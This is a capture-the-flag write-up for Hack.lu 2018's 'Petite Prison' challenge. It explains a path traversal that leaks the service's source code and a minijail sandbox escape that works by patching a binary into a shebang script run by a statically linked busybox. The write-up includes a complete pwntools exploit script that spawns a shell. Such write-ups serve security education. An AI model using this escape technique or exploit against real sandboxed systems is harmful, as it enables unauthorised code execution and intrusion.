Hack.lu CTF 2018: Petite Prison (Pwn 500)

pwn  /  Petite Prison
pspaul
5 solves  /  500 points

Your day at the arcade was long and exhausting, so you go to the bar across the street. You’ve never been there before and the first impression is kinda odd. Which bar lets you mix your order yourself? And there’s this drink they don’t want to serve you… Unfortunately, you don’t like anything else from the menu, but you will surely find a way to get your favourite drink! nc arcade.fluxfingers.net 1812

Writeup

For TL;DR see below.

The service

When connecting to the service, you are greeted with a banner and a welcome message, telling you that you are at the Petite Prison bar, where you can mix your drinks yourself. You can choose a drink, there are also subcategories of drinks (cocktails, …). After selecting one, you are asked whether you want to mix it yourself or let the bartender do it. If you choose to do it, you get base64-encoded data, which turns out to be an ELF binary. If you ask the bartender to do it for you, you can also tell some special whishes before the drink is made, but there does not seem to happen anything based on that. Finally you get a little ASCII art drink, like this beer:

1
2
3
4
5
6
7
8
  _.._..,_,_ 
( )
]~,"-.-~~[
.=])' (; ([
| ]:: ' [
'=]): .) ([
|:: ' |
~~----~~

After trying to download all drinks (which are all ELF binaries), you notice that there is one drink they deny to serve: Fruity Light-Absorbing Gin. Seems like you found your target.

While reversing the accessible drink-binaries, you will soon notice that all they do is output ASCII art, with some minor obfuscation in place. These are all dead ends.

After returning to the menu to search for anything else, you notice that when selecting a drink and entering a subcategory, you get a .. menu item to go back to the parent category. Looks suspicious, eh? And it works as expected, you can traverse (almost) the whole file system by navigating up from the main category. And you can also download most files, including the app’s sauce, by selecting it as a drink and “mixing it yourself”.

This reveals the following app structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.
├── banner.txt
├── binpatch.py
├── minijail-recipe-executor.sh
├── minijail-seccomp.policy
├── petite_prison.py
├── recipes
│   ├── beer
│   ├── cocktails
│   │   ├── cosmopolitan
│   │   ├── long island ice tea
│   │   └── martini dry
│   └── gin
│   └── Fruity Light-Absorbing Gin
└── rfc31337.txt
  • banner.txt is just the ASCII art banner of the service
  • binpatch.py looks like a lib that provides binary byte-level patching functionality
  • minijail-recipe-executor.sh is a small bash script that executes its first argument with a tool called minijail0 (more on that later)
  • minijail-seccomp.policy is a seccomp whitelist configuration that allows very few syscalls (basically write and exit)
  • petite_prison.py is the main script of the service
  • the files in recipes/ are the binaries that you can select as drinks, but we cannot read the F.L.A.G. drink :(
  • rfc31337.txt is a fake RFC describing the format accepted by binpatch.py

Taking a closer look at petite_prison.py, you can see that you can modify the selected drink-binary by entering binary patch instructions (as defined in the RFC) to add, modify or delete up to 21 bytes. The file then gets executed as prison:prison with only the few allowed syscalls (mentioned above) via minijail0. After a quick web search, you know what minijail is:

Minijail is a sandboxing and containment tool used in Chrome OS and Android. It provides an executable that can be used to launch and sandbox other programs, […].

So all that is left to do is crafting a binary that escapes the minijail! To do this, we have to understand how minijail enforces the restrictions.
Before doing anything, minijail checks if the target executable is linked statically or dynamically. In the first case, the restrictions are applied beforehand. In the second case, minijail LD_PRELOADs __libc_start_main and applies the restrictions after libc has been loaded (because this apparently crashes when the restrictions are too tight).

Solution 1: The Expected

The teams that solved the challenge used an expected solution: They injected shellcode at the executable’s entrypoint, before the jump to the preloaded __libc_start_main, because the restrictions have not been enforced at that point. Some of them just called the execve syscall with /bin/sh, but one team used a more elegant way (in my opinion): They overwrote the __libc_start_main string with execve in the .dynstr section, so the address of execve gets loaded when __libc_start_main@PLT is called. Then they overwrote the beginning of the main function with /bin/sh, which gets pushed as the first argument to __libc_start_main@PLT.

Unfortunately there is a bug in the service which allowed non-printable ASCII chars in the binary patch. This made the challenge a little easier, but I guess it’s ok because still only 5 teams solved it :D

Solution 0: The Intended

While reading about how minijail works, I stumbled across the following comment in the source code that determines whether the file that should be executed is statically or dynamically linked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (is_elf_magic(pHeader)) {
// ...
} else {
/*
* The binary is not an ELF. We assume it's a
* script. We should parse the #! line and
* check the interpreter to guard against
* static interpreters escaping the sandbox.
* As Minijail is only called from the rootfs
* it was deemed not necessary to check this.
* So we will just let execve(2) decide if this
* is valid.
*/
ret = ELFDYNAMIC;
}

So we need to patch the first bytes of the file to be a shebang that defines a statically linked binary as the interpreter. To find a suitable interpreter, we can dump all files via the path traversal vulnerability, which leads us to /bin/busybox. The final exploit is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python2

from pwn import *


p = remote('arcade.fluxfingers.net', 1812)

# select beer (could be any non-F.L.A.G. drink)
p.sendlineafter('> ', 'beer')

# tell the bartender to mix it
p.sendlineafter('> ', '2')

# send the patch
p.sendlineafter('> ', 'y')
script = '#!/bin/busybox sh' + '\n' + 'sh'
for i in range(len(script)):
p.sendlineafter('> ', 'M {:x} {:02x}'.format(i, ord(script[i])))
p.sendlineafter('> ', 'M {:x} 0a'.format(len(script)))
p.sendlineafter('> ', '')

p.recvuntil("Here's your beer:\n")
p.sendline('/app/recipes/gin/Fruity\\ Light-Absorbing\\ Gin')
log.success('Flag: ' + p.recvline())

TL;DR

Leak the source code via path traversal, then patch the beginning of a binary to

1
2
#!/bin/busybox sh
sh

to confuse minijail0 to assume the interpreter is dynamically linked (when it is in fact statically linked), making its LD_PRELOAD trick useless.

Resources